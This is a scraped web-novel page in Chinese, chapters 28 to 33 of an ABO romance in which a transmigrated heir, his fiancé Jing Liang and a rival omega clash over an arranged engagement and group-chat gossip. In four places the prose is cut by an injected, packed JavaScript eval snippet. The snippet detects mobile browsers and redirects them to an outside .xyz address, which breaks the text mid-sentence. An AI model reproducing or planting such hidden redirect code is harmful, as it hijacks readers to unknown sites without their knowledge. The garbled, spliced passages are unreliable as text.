宋母尴尬又不失礼貌笑道:“去房间坐坐就算了,毕竟我们希濂还没结婚,从来没有跟别的alpha独处过,传出去也不好听。” 宋希濂圆润白净的小脸蛋一红,看起来娇羞可爱。 景凉又好气又好笑,他这未婚夫还没死呢,卢佑铭就开始迫不及待要甩开他给他儿子另找对象了? “叔叔,您这什么意思啊?”景凉不想惯着他,面上带着笑,声音冷得瘆人。 卢佑铭:“小景总,咱俩家的事情,容之后再论,今天不方便招待你,有时间我会亲自登门拜访,与令慈商量一下退婚的事宜。” 卢绛猛地抬头看向这个天降壕爹,这也太不尊重他的意愿了,怎么能自作主张说结亲就结亲,说退婚就退婚,完全不过问他? 黎花又催促着儿子:“你回房间去换身衣服,瞧瞧你都穿了些什么?真是越来越不讲究了。” 卢绛仿佛得到了赦免,赶紧起身道:“我先回房间,换衣服。” 景凉咬着下唇一副委屈的模样仰头看向卢绛。 卢绛临前一把拉起景凉,“他也跟我一起。” “胡闹!”卢佑铭使劲朝儿子行眼色,但奈何儿子跟瞎了一样。 黎花:“行了,你快让小景总回家去吧,人家做总裁的一堆事等着处理呢,你要懂事。” 景凉礼貌微笑,“阿姨,我不忙,公司已经放假了。” 黎花哽住。 卢佑铭:“未婚omega怎么能随便进一个alpha的房间?阿绛,你别胡闹。” 景凉:“没关系的叔叔,我和阿绛不是第一次。” 一声惊雷平地起,四坐闻声都愣住了神。 卢绛张了张嘴想解释,不是他们想的那么脏,但扯到omega的发情期,他们共处一室,不是更加叫人误会? 慌乱中,卢绛抓了景凉的手就跑,一路狂奔进卧室,然后反锁上门。 总算清静了。 卢绛长舒了口气,景凉看着他忍不住笑出声。 “你还笑!” 景凉一点也不见外的打量着他卧室格局摆件,感觉不像他的风格,整体是欧式哥特风装修,个人色彩很强烈,暗黑、侵略感很强。 收藏柜上放着很多赛车模型,还有几座比赛的奖杯,放在最醒目的位置。 他那么爱看书的人,房间却连一本杂志都找不到。 全是那种烧钱的机械模型,及一些稀奇古怪的小摆件。 “要不是和你认识了一段时间,走进这个房间的一瞬,我还以为在参观别人的房间。” “那是……我以前,人是会变的。” “那你变得很彻底啊!” 景凉很不爽,因为他明显能感觉到卢绛在防备着他。 卢绛知道他在怀疑,但他并不打算告诉他自己是从平行世界过来的,没有经历过的人不会相信。 “我要换衣服了。” “你换啊,怕我偷看你?” 卢绛紧抿着唇走到衣帽间,开始挑衣服。 看他挑了半天,也没挑出件像样的,景凉走上前问他:“要不要我帮你搭配?” “好,谢谢。” 景凉的审美眼光无疑是很好的,他很快给卢绛搭配了一套出来让他去换。 卢绛见他没有打算走,推着他走出了衣帽间。 正要关门时,景凉一只手按住了门边,笑容魅惑,“那个omega漂亮吗?” 卢绛怔愣了下,才反应过来,他问的是谁。 “没太注意。” “那真太可惜了,他很漂亮,说不定你多看一眼,就会喜欢他。” “我不喜欢。” “你不是说没有注意吗?连看都没看,怎么确定不会喜欢?” 卢绛被他纠缠得有些烦,神情瞬间冷了下来,“凉哥,你别这样。” 景凉看到了他眼里的警告,缓缓收回了手,沉默退了出去。 卢绛用力关上了衣帽间与他隔绝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14735975|157317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景凉满心不甘,明明之前还很好,他以为可以更进一步了。 可这一切都是他美好的错觉,和卢绛谈什么都可以,就是不能谈情说爱。 稍微越雷池一步,就会被打回原形。 景凉感受到了从未有过的危机。 他对卢家已经没有用了,卢佑铭就立马甩了他,退婚之事势在必行,卢绛对他的态度很明显,可以是朋友是兄弟,但不可能是情人。 对啊,他早已声名狼藉,没有哪个家世显赫的alpha会真心实意的想要和他结婚。 卢绛面上不显,大概心里想的也他们一样! 卢绛磨蹭换好衣服,做了个深呼吸,刚才自己的反应是不是过激了? 他推开衣帽间的门,想要先道个歉,卧室的门是开的,景凉已经走了。 这种感觉特别糟糕,莫名的让他烦躁。 正坐在椅子上发呆时,霍临的电话打了进来。 “我去拜访了一下廖成开,倒是出乎我的意料之外,他很配合公司收购的事情,说万星毕竟是他半辈子的心血,希望能正常运营下去,对我们只有一个要求。” “什么要求?” “希望能留下公司的老员工,不要大面积裁员。” “伤筋动骨都得一百天,先不要动这些肱骨,好好观察一段时间再做决定。” “嗯,我也是这么想的,公司盘面与运作都没有问题,开年收购的消息一出,盘面会震荡一段时间,其它问题不大。” “嗯……” 霍临听他有气无力的声音,不由多问了句:“怎么,你回家不顺利?” “钱没有问题,你放心。” “哦,那就是你的私事?” 说实话霍临还是挺关心他的私事的,毕竟与他绑在一起的omega是景凉。 “霍哥,我很迷茫,不知道也理不清楚自己的想法。” “怎么说?我帮你捊捊?” “我不喜欢男性omega。” “那你找女性omega啊,等把景氏在D国的人脉资源掌握在手,退婚分分钟的事。” “我没想过退婚,但也没想过结婚。” 一阵沉默后。 “是不是很难理解?算了霍哥,当我没说。” 29. 第29章 霍临一点点掰开给他分析。 “为什么不想退婚?” 卢绛认真的想了会儿,说:“如果退婚了,就会让景凉陷入艰难的处境,我穿到这个世界,他是最早与有我羁绊的人,而且他很好,至少……对我没坏心。” “他陷入艰难处境,跟你有什么利益牵扯?对你没有影响啊!” “我不想看他难过,只是,不想看他难过而己。” 霍临轻叹了声,“你心太软了,这样会被人欺负的。” “或许吧,只要别人不伤害我,我也不会伤害别人的。” “不想结婚是因为他是男性omega吗?” “这只是其一,过去一些很坏的记忆……还有我跟他的感情,不是结婚的那种感情。” “那你觉得什么样的感情才是能够结婚的感情?” “至少,彼此足够坦诚,能完全接纳彼此的过去与未来。” “你和他不能够坦诚吗?” “嗯,不能。” “为什么?” 卢绛心脏突然被刺痛了下。 “为什么啊弟弟?怎么不说话了?” “因为过去太糟糕了,我可以以新的身份隐藏在这个新世界,摆脱过去的枷锁,现在的生活越平静,我就越害怕被人知道这些不堪的过往。” “可你告诉了我。” “我们是交易秘密的人。” 霍临失笑,确实是因为他们彼此交换了秘密,才多了比普通人更深的羁绊。 可是卢绛对景凉的害怕,反而从侧面证实了他的在乎,越是在乎一个人,就越害怕揭露自己过去丑陋的伤疤。 害怕破坏在对方心里美好的形象。 在意自己肮不肮脏。 但是霍临不会这么告诉他,前世的芥蒂让他对景凉这个人永远抱以警惕之心,敬而远之,哪怕是他身边的人,也最好不要与景凉有交集。 “我问最后一个问题。” “你问。” “不能接男性omega,那你能确定自己可以接受女性omega吗?” 卢绛呼吸一窒,是啊,他竟然没有想过,是否能接受女性omega?他凌乱了! “傻小子,你真是……”又可怜,又可爱。 “霍哥,我该怎么办?”卢绛更加沮丧。 “要不,得空你去找个心理医生看看。要不,就先把问题放一放,时间会给你答案的。” 此时有人敲响了卧室的门。 卢绛压低着嗓音道:“霍哥,先不说了,回头再给你电话。” “妈妈进来了。”说着黎花一脸关心的朝他走来,坐到了沙发椅对面。 妈妈……好陌生的名词。 他曾经连做梦都在渴望妈妈的拥抱,受委屈了也在想,如果他有妈妈,一定不会那样被人欺负还冤枉他偷东西,妈妈一定会安慰他,替他出头,他就不会难受那么久。 黎花看他一副傻愣愣的样子盯着她,不由好笑:“你这孩子怎么了?上学半年,一个电话都不往家里打,是不是还在生我和你爸的气?” “没,没有生气了。” 黎花轻叹了口气:“我知道,联姻这件事对你不公平,没有尊重你的想法,可是孩子,欲戴皇冠必承其重,你是你,又不完全属于你,你的光环是家族赐予你的,你得为家族的利益考虑。” 卢绛轻应了声,“外面那个omega,是新的联姻对象?” 黎花温柔劝解着他,“希濂是个好孩子,妈妈觉得他各方面比起景凉会更优秀,也更适合你,你也不要太反感这些,先接触一下,好不好?” 卢绛紧绞着十指,反驳的话到了嘴边,迎上黎花慈爱温柔的眼神,没有将那些话说出口。 “妈妈……” 黎花伸出手轻揉着他的头发:“乖孩子。” 卢绛胸口仿佛翻腾着滚烫的岩浆,几乎要将自己融化。 他真的,可以拥有吗? 拥有亲人,还有属于自己的家。 黎花摸了摸他的脸:“开心一点,妈妈和阿姨去给你准备晚饭,都是你爱吃的。” “好,谢谢……妈妈。” 黎花顿住步子,讶然回头看着他许久,以为幻听了,“怎么变得这么乖了?” 卢绛含蓄一笑,垂下了眼帘,躲开了她探究的视线。 她一定很爱自己的儿子,如果发现其实她的儿子在一年前就已经死了,灵魂早已换了他人,不知道会有多难过。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14735976|157317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>晚上宋家母子留下来一起用餐,他们特意安排宋希濂与卢绛坐在一起。 宋希濂的用餐礼仪很周到,卢绛在他身边吃得很不自在,他没有学过用餐礼仪,跟景凉一起吃饭也是很随意的。 好在原身本就放荡不羁,一身反骨,最烦这些条条框框,餐桌上的礼仪从来就没标准过。 要是别人可能会被嘲笑,可是他是卢家继承人,只会被所有人当作有个性。 卢佑铭皱眉挑剔,“你都二十岁的人了,怎么连刀叉都握不好?寒假给你找个礼仪老师,非得好好纠正你不可!” 卢绛窒息。 如果可以,他都想直接用手拿了,吃羊排不就得用手拿着吃才香吗?为什么要用刀叉? 好烦,连吃饭都吃不香。 别扭的用刀叉切飞一块羊排之后,迎着所有人惊慌的视线,卢绛放弃了挣扎。 “于伯。” “少爷,您有什么吩咐?” “我要手套。” “手套?” “剥虾的那种手套。” “哈哈,好的。” 卢绛放下刀叉,当着所有人套上塑料手套,抓起羊排大口啃了起来。 不管,先吃饱再说,不然太折磨人了。 “噗……”宋希濂强忍住笑意,明媚俏皮,“我也要手套,这样抓着吃虽然没那么优雅,但确实比较方便。” 卢绛扭头看了他一眼,宋希濂冲他笑得很讨喜。 看来他不反感与他联姻的事,而且还很积极。 吃晚饭的过程卢绛才知道他们明天要一起前往月亮岛渡假。 月亮岛气候属于回归型,气候常年在14~32°C之间,是冬季渡假圣地。 今晚宋希濂母子会留下来住宿,阿姨已经准备了房间。 晚饭后,两人被双方父母安排在附近散步消食,借此让他们有独处的时间增进感情。 但是走了半小时,卢绛跟个锯嘴葫芦似的,一个人闷头走在前面,他花了好大的力气才能追上。 “卢绛,你别走这么快,我跟不上你。” “你腿短,是走不过我的,你得跑起来!” 宋希濂一个趔趄差点摔倒,要被气哭,“人家走不动啦!” 30. 第30章 卢绛转过身,倒着走了几步,“那我走慢点。” 宋希濂停下不肯走了,“你背我吧!我腿酸得要命。” 卢绛:“腿酸证明平时少锻炼,你要多走走。” “卢绛!!” “怎么了?” “你是不是故意的?!” “没有啊,不是要消食吗?” 卢绛疑惑中带着几分纯真,如果不是从他眼里看不出一丝戏弄与恶意,宋希濂真的要怀疑他是故意在整自己! “你对所有omega都这样吗?” “为什么这么问?” “对景凉也这样吗?他受得了你?” 空气仿佛也与这天地霜雪凝结了般,叫人静默又窒息。 卢绛突兀一笑:“关他什么事?” “装什么纯洁?”宋希濂也不装了,自负是A级信息素,满是压迫感朝卢绛逼近,“没有素息的alpha,跟废物也差不多。” 要是别的alpha这无疑是将他的尊严按在地板上摩擦,但是卢绛没有这样的尊严,在他原来的那个世界,本来就没有什么信息素。 “如果不是帝都首富之子这个身份,你以为姓景的会多看你一眼?我和他都一样,只是因为你的身份罢了,别不识抬举。” “哦……” 宋希濂快要气炸了,“你到底在‘哦’什么?” “哦,表示我知道了。” “你……你!你是头猪吗?滚啊!我再也不想见到你!!” 宋希濂喷完,腰不酸腿也不疼了,撒丫子就往别墅跑。 跑得太仓促还差点摔一跤,他强忍着委屈无助的泪水,心想着嫁条狗都比嫁他强! “欸,你怎么自己滚了?” 卢绛似乎想抬手叫住他,无奈叹了口气,似乎心情还不错的抬头看了眼树梢上的圆月。 雪月夜,景色真好。 当晚九点,帝都权贵omega大群里,炸开了锅。 【宋:真的没见过卢绛这种没品的alpha,情商简直低到可怕!】 【群员:细说!】 【群员:瓜子饮料已备齐!】 【群员:我是瓜田里找不到路的猹,你们扒的是帝都传闻中的第一富少吗?】 【宋:帝都还有第二个有钱的卢家吗?】 【宋:你们知道吗?他居然不会餐桌礼仪,像个印第安的野蛮人,当着所有人的面用手抓着吃!】 【群员:天,好窒息!这你能忍?】 【群员:早听说这家伙是个脑子有病的,原来是真的。】 【宋:他非得拉我散步,我真的不想去,他还一个劲的冲在前面,我让他等等我,你们猜他说什么?】 【群员:说什么了?】 【群员:说‘我等你’或者‘你走快点’?】 【宋:呵,他说我腿短,让我跑起来。吸氧.JPG】 【群员:好恶劣!他怎么这样啊?】 【群员:太没情商了吧?你家人真的打算把你嫁给这种人渣吗?】 【群员:不是我说,虽然alpha骨子里都高傲又自我,但像他这种连装都不装的,头一回见。】 【群员:哎呀,人家家里千亿的家产呢,拽一点很正常啦!】 【宋:这还不是最过份的,更过份我都不好往外说。】 【群员:这有什么不好说的,咱们群都是心连心,极品alpha一起避雷呀!】 【群员:就是就是,烂A大家一起抵制。】 【宋:今天我们第一次见面,他就带别的omega回家,而且恬不知耻的当着所有人的面,拉着那个omega进了房间。】 【群员:啊啊啊啊~~~~~疯了吧?!】 【群员:这,我已经不知道怎么评了。】 【群员:我的天哪!他们去房间……做什么?】 【群员:楼上你傻吗?当然是□□啊,还能做什么?】 【群员:呃不好意思姐姐,我才十七岁,好污!噫!恶心,我退了,你们聊。】 【群员:跟他回家的omega?谁啊?是我们圈子里认识的O吗?】 【宋:我不能说,也不好说。】 【群员:这还用猜吗?名字两个字,二十岁继承家业,帝都最年轻的董事,服装贸易起家。】 【群员:哈哈,说起这个人,真的也蛮极品的,反正不挑食,为了赚钱各种无下限。】 【群员:未婚出入那种场合,大家也知道是什么货色咯。】 【群员:用膝盖想都知道啊,没点手段确实做不了他那个位置。他可是O,其实我还挺佩服他的。】 【群员:那我是吃不了他这碗饭,我可闻不了老人味儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【景凉:等着吧,这个群所有O的乐子轮完一遍,也不会轮到我景凉。我比他们大度,等他们有乐子,我就去帝都时代广场上给他们放炮庆祝。】 31. 第31章 景凉带着大名进去,一进去群里的人就跟死了一样,私下创了小群继续口嗨。 卢绛洗完澡,擦着头发拿过手机在阳台坐下,这座城市繁华的夜景很美。 他拿着手机拍了几张夜景照片,从专业角度来看是有点拍摄天赋在里面的。 卢绛喜欢拍景,拍动物,却从未拍过人。 他相信世界好人很多,但他遇不到,也没有谁让他有过冲动想要留下那一瞬的美好。 想到之前在房间与景凉的不欢而散,让他无法释怀。 他戳了下景凉的头像,觉得自己还是得给他道个歉。 【卢绛:小狗卖萌.jpg】 等了十分钟景凉没回,平时他都是秒回的。 这次肯定生气了。 【卢绛:对不起。】 【景凉:对不起什么?不太明白呢!】 【卢绛:是我太敏感了,对你态度不好,别生我的气了。】 【景凉:卢少说哪的话?你没有敏感啊,我确实有点咄咄逼人,你要和别人相亲,我不高兴。】 【卢绛:相亲是长辈的安排,我没有这个意向。】 【景凉:呵!】 【卢绛:凉哥,你为什么要‘呵’啊?你这样呵我,我心里难受。】 【景凉:呵呵。】 【卢绛:小狗哭泣.jpg】 【景凉:呵呵呵!】 【卢绛:您的聊天对象已被泪海淹没.jpg】 【景凉:击毙沙雕.jpg】 【卢绛:我们可以交换表情包。】 【景凉:别偷我表情包。】 【卢绛:好吧。老实芭蕉.jpg】 【景凉:怎么不陪你的小美O?有空跟哥哥我在这儿虾扯蛋呢!】 【卢绛:小美O?】 【景凉:装什么蒜?】 【卢绛:你是说宋希濂吗?】 【景凉:怎么,难道你今天相了两个O?】 【卢绛:不是,我没有!宋希濂也不好看啊,他不符合我的审美。】 【景凉:他哪儿不符合你的审美?人家可是知讯贴吧榜上第一的美O呢!】 【卢绛:那个照片他P了,而且只有半身照,看真人他是五五比例,鞋跟都有十公分了!男生为什么要穿那么高的高跟鞋?看起来像踩着高脚的小矮人,真奇怪。】 奇怪只是卢绛用得比较含蓄的词,其实他是想说很滑稽。 “啊哈哈哈哈哈……”景凉笑得岔气,笑湿了眼角,笑出了强大。 【景凉:你小子,说话别太离谱。】笑得打字的手都在抖。 【卢绛:抱歉,我不该背后那样说别人。】 【景凉:谁人背后不说人,谁人背后不被说?正常,你别道德感太高。】 卢绛不知道,姓宋的那傻叉玩意在O群里是怎么说他的。 都已经不是在说坏话了,而是在造谣!一相比简直是小巫见大巫。 【卢绛:嗯,知道了。】 景凉将贴吧‘沉默的酱’的评论截给了他。 【景凉:是不是你?沉默的酱。】 【卢绛:呃……嗯,我其实不是这样的人,我不当网络喷子的!】 实在是那些人说得太过份,他看不下去,才说了两嘴。 【景凉:别理傻叉。】 【卢绛:好的凉哥,下次我会控制好自己。】 果然是成熟稳重又温柔的大哥哥,不像他,还是浮躁了些。 景凉笑容扭曲,眸光阴骘:“君子报仇,十年不晚。” 【卢绛:凉哥,我要去休息了,回聊。】 【景凉:这么早?】 【卢绛:嗯,明早要动身去月亮岛庄园里住几天。】 【景凉:你跟宋希濂?】 【卢绛:不是我跟他,是大家一起去。】 【景凉:匕首.jpg匕首.jpg匕首.jpg】 卢绛轻叹了声,打了几个字,又实在不知道怎么往下编,就干脆不回了。 他知道景凉现在对他是什么想法,但他自己的态度也十分暧昧。 不想更进一步,也不想这样彻底了断。 从来没被爱过的人,哪怕遇到一段不合适的感情,也私心有了虚荣与渴望。 卢绛抬头看了眼月色,不知何时已悄悄躲进了云层,夜色被阴霾倾轧。 “即使不是爱情也没关系,不是吗?”他孤独了太久,只是渴望被人真心爱他,是谁其实也没那么重要,是什么样的感情都好。 从小到大的经历让他知道,这世间的真心钱买不来,卑微求不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14735978|157317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,哪怕是很多父母的爱,也是有条件的。 无疑,景凉的真心在卢绛这里珍贵无比。 从某些方面来说,他算不得一个很好的人,至少对于情人或者丈夫这一角色,是不合格的,因为他可能永远不懂爱情。 * 景凉有点失眠,下楼梯想冲杯牛奶,看到大厅还亮着灯,母亲正坐在沙发里翻看着一沓资料,无比认真专注。 “妈,你怎么还没睡?你身体不好,医生说不能熬夜!” Alpha母亲去逝后,omega母亲就去做了腺体摘除手术,需要终生服药,因负作用身体变得极差,医生说活不过六十。 现如今她已经五十五了。 母亲朝他招招手,示意他坐过去,笑得无比温柔慈爱。 景凉坐到了她的身边,随手拿起资料看了眼,一看不由笑了。 “你大晚上的不睡觉,就是在给我挑alpha?” “这是我花了些钱弄来的,都是国内信息素最顶尖,但家境可能不那么好的alpha,你懂妈妈的意思吧?” 景凉不忍拒绝,只是温和推脱着:“这也不是很靠谱啊!穷山恶水……”谋财害命。 景妈:“都是上了不错的大学,有知识有涵养的,你看看哪个顺眼,就把他约出来见一见。” 景凉:“妈……” 景妈突然激动的一把用力紧握过他的手,声音带着恳求:“你喜欢谁也不能喜欢卢家的那个,你当我看不出来吗?他不行!” 景凉心底涌上一股酸涩:“他怎么不行了?” “他对你好时那自然好,万一你们之间发生了利益冲突,或者他有了别人,你想反击的余地都没有,你找个比你弱的,各方面还能把控得住,只要他有二心,你知道该怎么做!” “妈,我长这么大,第一次喜欢一个人……” “那他喜欢你吗?” 景凉沉默了许久。 “他喜不喜欢没那么重要,我喜欢就行了。” “怎么会不重要?” “既然喜欢很重要,那你为什么又让我找一个毫无感情基础的?” “傻孩子,我是怕你……会输啊!” 景凉给了她一个拥抱,语气坚定:“我不会输,我想要的东西,一定可以拿到。” 32、第32章 卢绛睡得不是很好,坐在加长版定制豪车上时昏昏欲睡,黑眼圈还很重,没什么激动的心情。 宋希濂被安排坐在他旁边,因昨晚闹得很不愉快,彼此压根没想搭理对方。 卢绛戴上黑色眼罩看似是补觉,其实是逃避现实及让人尴尬的交际关系。 他出门之前,黎花找了顶级的造型团队,给卢绛重新收拾了一番。 虽然没有信息素……宋希濂还是忍不住满是幽怨的在偷看他。 谁能想到收拾出来能这么帅呢?与之前那个木讷书呆子形象,简直判若两人。 车子半个小时停在了市区最繁华的奥莱大厦地下车库。 奥莱大厦是帝都市中心最有名的地标建筑之一,是卢家的产业,这座大厦天台也是卢家的私人停机坪。 当乘着透明的直达电梯前往顶楼天台时,这座繁都尽在脚下,视野是从未有过的广袤辽阔,饶是见识过人的宋希濂也不由惊叹了声。 卢绛自然也不例外。 他好像明白了,为什么世界上那么多人会拼尽一生追逐名利和财富,把世界踩在脚下时,野心会滋长。 电梯门打开,天台停泊了一架acj319私人客机在待飞。 这架私人飞机足可以容纳十七个人。 卢绛跟着他们陆续上了飞机,找位置坐下。 宋希濂十分主动的坐在了他的身边,有卖乖的嫌疑。 他低压着嗓音讨好的凑近卢绛的耳边:“你昨晚没睡好吗?” 卢绛往窗口靠了靠,恹恹应了声,想远离,不想搭话。 莫名的想到和景凉呆在一起时,不会像现在这样烦躁不安。 看他疏远的态度,宋希濂气红了眼睛,鼻子一阵泛酸,动作很大的扯过毯子盖上,别开了脸去。 因为昨天景凉突然进了帝都名媛一群,所以他们都不在大群里聊了。 飞机上有专用的平板设备,可以连接机舱wifa。 宋希濂用平板摄像头,悄悄拍了一张卢绛的侧脸,贴到了小群。 【宋:谁懂啊,跟他坐在一起真难受!很没礼貌,又很蠢的样子。】 【群员:他是卢绛???哦买糕的,这个侧脸好帅啊!】 【群员:嗯嗯嗯,超帅的哦。】 【群员:这么帅?!我还以为是土肥圆。】 【群员:虽然没有信息素,但长这么帅,还巨有钱,也不是不可以!】 【宋:……】 【群员:长得再帅也没什么用吧?人品差不说,还没信息素。】 【群员:真可惜。】 【宋:我真的劝你们要清醒,找alpha最重要的还是得看人品。】 【群员:昨天晚上景凉不是进一群了吗?他知不知道你跟卢绛要去渡假啊?要是看到照片,他会不会气疯啊?哈哈哈哈……想想就好玩。】 【群员:濂濂,介意我把照片放到一群去吗?我就看不惯景凉那副高傲的样子,挫挫他的锐气!】 【宋:随便你们啦,但不要太过份了。】 【群员:放心吧,不会的。】 帝都名媛一群。 【群员:照片.jpg】 照片一扔,omega群顿时炸了。 【群员:我的老天奶,这谁啊?这个侧脸帅哭我!】 【群员:啊啊啊,我好吃这一款,清爽干净白嫩,面部线条清晰又冷峻,太帅了吧!抱屏舔!】 【群员:这个脸部线条,一定是alpha吧?omega脸部线条会比较柔和。】 【群员:只有我好奇拍这个侧脸的人吗?姐妹吃太好了吧!】 【宋:呃,我随手拍的风景,不小心把人拍进去了,都叫他们不要传了的。】 【群员:我靠,所以这是……卢大少?他长这么帅???】 【群员:濂濂,你要是看不上,把他介绍给我吧,我不挑,没信息素也没关系。】 因为昨夜失眠,景凉上午十点才起来,正在吃早饭。 这会儿群里的信息响个不停。 他拿起手机看了眼,嘴里的水晶虾饺如同嚼蜡,甚至还有点恶心。 景凉没好气的摔下筷子,快速编辑信息发送。 【景:@宋你这风景照拍得可真好,他知道你偷拍他照片,还传到omega群里各种意淫吗?】 【宋:景哥,你这是什么意思啊?大家都是omega倒也不用这么尖酸刻薄吧?】 【景:别叫哥,我不跟脑子有坑的玩儿。】 【宋:你这样说话很过份欸!】 【景:我看你年纪轻轻学历挺高,不是读书把脑子读坏了吧?怎么干的都是傻子干的事呢?】 【宋:……】 【宋:我知道你嫉妒,但也别急着嫉妒,至少别在群里发疯吧?】 景凉要气疯了,没错啊,他是嫉妒! 被人戳中了痛处,还撕开晾在了所有人眼前,他连杀人的心都有了。 他从来没像现在这样冲动过,带着毁灭性与报复性,给卢绛噼里啪啦的一顿输出。 【景凉:不用等你们卢家来退婚,我自己会找媒体公布退婚的事。】 【景凉:先祝你跟你的小濂濂百年好合!】 【景凉:是你拉黑我,还是我拉黑你?】 卢绛正在查常用专业缩写词,看到平板弹出的信息,情绪稳定的输出。 【卢绛:凉哥,发生什么事了?】 景凉一不做二不休,将宋希濂在群里的茶言茶语全部截屏给了卢绛。 本想连同昨天的恶言恶语一起发送,但又忍了。 卢绛仔细看完景凉发过来的截图,深吸了口气,稳稳血压。 【卢绛:别为了这种人生气,你先等我一下,我换个座位。】 景凉还在气头上,不想回复。 卢绛隐忍着怒火叫了宋希濂一声:“喂!” 宋希濂一脸傲骄:“我不叫喂,我叫宋希濂。” 卢绛嘴角抽搐了下,隐忍不发,“你不是想拍风景吗?你坐我这儿,我坐后面去。” 宋希濂:“你在说什(么)……”突然意识到什么,脸色一阵青一阵白。 卢绛:“还有你刚才‘不小心’拍到我的照片,删了,谢谢。” 说完,卢绛脸色冷得吓人,越过他身边时尽量不与他发生任何肢体接触,在众目睽睽之下,独自坐到了最后一排。 宋母一脸严肃朝儿子投去一个质问的眼神。 宋希濂脸红脖子粗,眼中泪光闪闪,好似被人欺负了。 宋希濂抹了把泪水,心气不平的点开景凉对话框私聊。 【宋:我真没想到你是这么下作的人!】 【景:没你贱。】 【宋:得罪我们宋家,对你好像没好处吧?】 【景:你们宋家是很了不得的东西吗?】 【宋:你嘴巴放干净点!】 【景:小绿茶,你还太年轻了。惹谁不好,偏偏惹我!】 宋希濂此时还不知道,这句话意味着什么。 33、第33章 景凉从那天听到宋家要与卢家联姻就猜出了点端倪。 宋家政治地位很高,一般会避嫌不会选择和富商后代有姻亲关系。 能让宋家把最珍爱的小儿子送给声名狼藉的alpha,这背后必定顶穿了一个天大的窟窿,需要卢家的钱财去补。 只要有心查,再知会一下宋家的死对头,联手把宋家干掉,也不是什么难事。 景凉脑子里现在已经开始大杀四方,想像宋家的惨烈的下场。 啊~他有点迫不及待了! 卢绛突然发来消息打断了他思绪。 景凉本来不想回,却看到是他的自拍照。 以为是卢天真,其实是个卢心机。 他点开照片放大欣赏了一下,心气稍微顺了些。 【景凉:他们说你帅,你哪里帅了?黑眼圈这么重,没睡好吗?】 【卢绛:嗯,没睡好。】 【景凉:你多找几个角度拍,总会有几张好看的。】 卢绛配合的给他找了几个角度拍了几张,发过去。 景凉将照片一一放大,要不是他人设不允许,可能已经猥琐舔屏了。 疯狂保存。 【景凉:还行,造型团队真不错。】 其实是想直接夸他来着,但是景凉现在心气不顺,不想夸。 【卢绛:嗯,黎花女士一大早找他们过来做的造型。】 【景凉:玩几天回来?】 【卢绛:不知道……】 虽然是有一点兴奋期待想去见见世面,可突然莫名觉得心里有点空。 【卢绛:想早点回来找你玩。】 【景凉:真的?】 【卢绛:嗯。】 【景凉:还是别了,你好好带宋希濂玩吧,卢董看我那眼神已经带着恨了。】 卢绛不知道该怎么回复这个话题。 之前是对宋希濂无感,但到他在群里的聊天后进阶为反感。 把什么都说破,会打破现有的平衡,逼得他不得不面对。 他需要时间想清楚,自己到底想要的是什么。 【卢绛:凉哥,飞机上信号不太好,回聊。】 景凉只是回了一个句号,锁了手机屏幕。 信号不好,这么烂的理由他十年前就不用了。 卢绛在飞机上睡了一觉,醒来时刚好飞机准备降落在一个民用机场进行托管。 机场外已经有专车过来接他们。 坐车上了游轮又在海上飘了一小时,才到月亮岛。 此时已经是晚上了。 他们打算在庄园的草坪上烧烤海鲜大餐,这是这里厨子的拿手好戏。 对卢绛来说吃海鲜毫无吸引力。 厨师准备的白葡萄酒是庄子里自酿的,味道很香醇,卢绛喝了点酒,又吃了些点心就起身走开了。 宋希濂时刻关注着卢绛的动向,见他走远,这才悄悄跟上。 卢绛沿着铺好的小石子路,来到了葡萄园。 葡萄架下躺着一只老了的伯恩山犬,看到卢绛到来摇着尾巴迎上去嗅气味熟悉这个朋友。 卢绛太高了,他蹲下身摸着它的头,狗狗特别乖在他面前蹲下任他摸。 在原来的世界,他一直想养条自己的小狗,因为太孤独了,他觉得跟人相处好累,有些话只能和流浪狗说。 正当卢绛自得其乐时,身后传来宋希濂甜软的声音。 “卢绛。” 卢绛当没有听到,也没有回头看他,一直在和狗狗互动。 宋希濂强忍着愤怒,挤出一个笑来,走到了卢绛身边,双手撑着膝盖低头去看狗,“呀,好可爱的狗狗,我也很喜欢狗狗呢!” “你有事吗?”卢绛往旁边挪了挪,避免与他有任何肢体接触。 “就是,群里的聊天,景凉是不是截图给你看了?” 卢绛表情冷了几分,一阵无语。 